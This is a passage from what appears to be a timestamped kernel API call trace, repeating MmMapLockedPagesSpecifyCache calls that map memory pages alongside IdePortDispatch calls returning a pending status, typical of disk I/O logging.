MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b0000 [0082.917] IdePortDispatch () returned 0x103 [0082.919] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f4000 [0082.920] IdePortDispatch () returned 0x103 [0082.920] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800350c000 [0082.920] IdePortDispatch () returned 0x103 [0082.921] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003514000 [0082.921] IdePortDispatch () returned 0x103 [0082.922] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800352c000 [0082.922] IdePortDispatch () returned 0x103 [0082.923] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800353f000 [0082.923] IdePortDispatch () returned 0x103 [0082.924] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003557000 [0082.924] IdePortDispatch () returned 0x103 [0082.925] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800355f000 [0082.925] IdePortDispatch () returned 0x103 [0082.925] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003567000 [0082.925] IdePortDispatch () returned 0x103 [0082.927] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800356a000 [0082.927] IdePortDispatch () returned 0x103 [0082.927] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003582000 [0082.927] IdePortDispatch () returned 0x103 [0082.928] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800358a000 [0082.928] IdePortDispatch () returned 0x103 [0082.929] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a2000 [0082.929] IdePortDispatch () returned 0x103 [0082.931] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a8000 [0082.931] IdePortDispatch () returned 0x103 [0082.940] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ca0000 [0082.940] IdePortDispatch () returned 0x103 [0082.942] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf8000 [0082.942] IdePortDispatch () returned 0x103 [0082.950] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a0000 [0082.950] IdePortDispatch () returned 0x103 [0082.961] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd9000 [0082.961] IdePortDispatch () returned 0x103 [0082.967] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d2d000 [0082.967] IdePortDispatch () returned 0x103 [0082.969] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d5f000 [0082.969] IdePortDispatch () returned 0x103 [0082.982] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e0000 [0082.982] IdePortDispatch () returned 0x103 [0082.983] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e1000 [0082.983] IdePortDispatch () returned 0x103 [0083.005] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003580000 [0083.005] IdePortDispatch () returned 0x103 [0083.007] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003586000 [0083.007] IdePortDispatch () returned 0x103 [0083.019] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d30000 [0083.019] IdePortDispatch () returned 0x103 [0083.020] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d42000 [0083.020] IdePortDispatch () returned 0x103 [0083.021] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d4a000 [0083.021] IdePortDispatch () returned 0x103 [0083.022] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d4c000 [0083.022] IdePortDispatch () returned 0x103 [0083.032] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f0000 [0083.032] IdePortDispatch () returned 0x103 [0083.041] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc9000 [0083.041] IdePortDispatch () returned 0x103 [0083.041] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bd1000 [0083.042] IdePortDispatch () returned 0x103 [0083.043] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf4000 [0083.043] IdePortDispatch () returned 0x103 [0083.044] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c10000 [0083.044] IdePortDispatch () returned 0x103 [0083.045] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c22000 [0083.045] IdePortDispatch () returned 0x103 [0083.055] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003460000 [0083.056] IdePortDispatch () returned 0x103 [0083.057] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003466000 [0083.057] IdePortDispatch () returned 0x103 [0083.058] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800347c000 [0083.058] IdePortDispatch () returned 0x103 [0083.065] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c2000 [0083.065] IdePortDispatch () returned 0x103 [0083.066] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035e7000 [0083.066] IdePortDispatch () returned 0x103 [0083.073] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c48000 [0083.073] IdePortDispatch () returned 0x103 [0083.074] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c70000 [0083.074] IdePortDispatch () returned 0x103 [0083.076] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb4000 [0083.076] IdePortDispatch () returned 0x103 [0083.076] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cbc000 [0083.076] IdePortDispatch () returned 0x103 [0083.078] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cef000 [0083.078] IdePortDispatch () returned 0x103 [0083.084] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002def000 [0083.084] IdePortDispatch () returned 0x103 [0083.086] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003421000 [0083.086] IdePortDispatch () returned 0x103 [0083.087] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003450000 [0083.087] IdePortDispatch () returned 0x103 [0083.087] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003453000 [0083.088] IdePortDispatch () returned 0x103 [0083.088] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003456000 [0083.088] IdePortDispatch () returned 0x103 [0083.089] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003459000 [0083.089] IdePortDispatch () returned 0x103 [0083.093] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ed000 [0083.093] IdePortDispatch () returned 0x103 [0083.094] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ef000 [0083.094] IdePortDispatch () returned 0x103 [0083.094] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034f1000 [0083.095] IdePortDispatch () returned 0x103 [0083.096] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003514000 [0083.096] IdePortDispatch () returned 0x103 [0083.097] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003516000 [0083.097] IdePortDispatch () returned 0x103 [0083.098] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003539000 [0083.098] IdePortDispatch () returned 0x103 [0083.099] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800353d000 [0083.099] IdePortDispatch () returned 0x103 [0083.100] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003541000 [0083.100] IdePortDispatch () returned 0x103 [0083.101] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003546000 [0083.101] IdePortDispatch () returned 0x103 [0083.103] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800356c000 [0083.103] IdePortDispatch () returned 0x103 [0083.106] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800359f000 [0083.106] IdePortDispatch () returned 0x103 [0083.109] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b36000 [0083.109] IdePortDispatch () returned 0x103 [0083.110] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b39000 [0083.110] IdePortDispatch () returned 0x103 [0083.111] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b3d000 [0083.111] IdePortDispatch () returned 0x103 [0083.112] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b42000 [0083.112] IdePortDispatch () returned 0x103 [0083.113] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b47000 [0083.113] IdePortDispatch () returned 0x103 [0083.114] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b4f000 [0083.114] IdePortDispatch () returned 0x103 [0083.114] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b50000 [0083.114] IdePortDispatch () returned 0x103 [0083.128] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003470000 [0083.128] IdePortDispatch () returned 0x103 [0083.129] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003492000 [0083.130] IdePortDispatch () returned 0x103 [0083.130] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034aa000 [0083.130] IdePortDispatch () returned 0x103 [0083.131] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b2000 [0083.131] IdePortDispatch () returned 0x103 [0083.132] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d4000 [0083.132] IdePortDispatch () returned 0x103 [0083.133] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ec000 [0083.133] IdePortDispatch () returned 0x103 [0083.134] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003504000 [0083.134] IdePortDispatch () returned 0x103 [0083.136] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003519000 [0083.136] IdePortDispatch () returned 0x103 [0083.136] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003531000 [0083.136] IdePortDispatch () returned 0x103 [0083.137] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003539000 [0083.137] IdePortDispatch () returned 0x103 [0083.139] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800356e000 [0083.139] IdePortDispatch () returned 0x103 [0083.140] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003586000 [0083.140] IdePortDispatch () returned 0x103 [0083.141] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800358e000 [0083.141] IdePortDispatch () returned 0x103 [0083.142] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003593000 [0083.142] IdePortDispatch () returned 0x103 [0083.142] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035ab000 [0083.142] IdePortDispatch () returned 0x103 [0083.143] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035b3000 [0083.143] IdePortDispatch () returned 0x103 [0083.144] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035cb000 [0083.144] IdePortDispatch () returned 0x103 [0083.144] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d3000 [0083.144] IdePortDispatch () returned 0x103 [0083.146] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d9000 [0083.146] IdePortDispatch () returned 0x103 [0083.147] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b15000 [0083.147] IdePortDispatch () returned 0x103 [0083.148] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b1d000 [0083.148] IdePortDispatch () returned 0x103 [0083.148] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b35000 [0083.148] IdePortDispatch () returned 0x103 [0083.149] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b3d000 [0083.149] IdePortDispatch () returned 0x103 [0083.149] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b45000 [0083.149] IdePortDispatch () returned 0x103 [0083.150] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b4d000 [0083.150] IdePortDispatch () returned 0x103 [0083.152] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b58000 [0083.152] IdePortDispatch () returned 0x103 [0083.152] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b70000 [0083.152] IdePortDispatch () returned 0x103 [0083.153] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b78000 [0083.153] IdePortDispatch () returned 0x103 [0083.154] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b7c000 [0083.154] IdePortDispatch () returned 0x103 [0083.155] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b94000 [0083.155] IdePortDispatch () returned 0x103 [0083.155] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b9c000 [0083.155] IdePortDispatch () returned 0x103 [0083.157] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bda000 [0083.157] IdePortDispatch () returned 0x103 [0083.158] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf2000 [0083.158] IdePortDispatch () returned 0x103 [0083.159] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c30000 [0083.159] IdePortDispatch () returned 0x103 [0083.160] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c48000 [0083.160] IdePortDispatch () returned 0x103 [0083.162] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c70000 [0083.162] IdePortDispatch () returned 0x103 [0083.163] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c88000 [0083.163] IdePortDispatch () returned 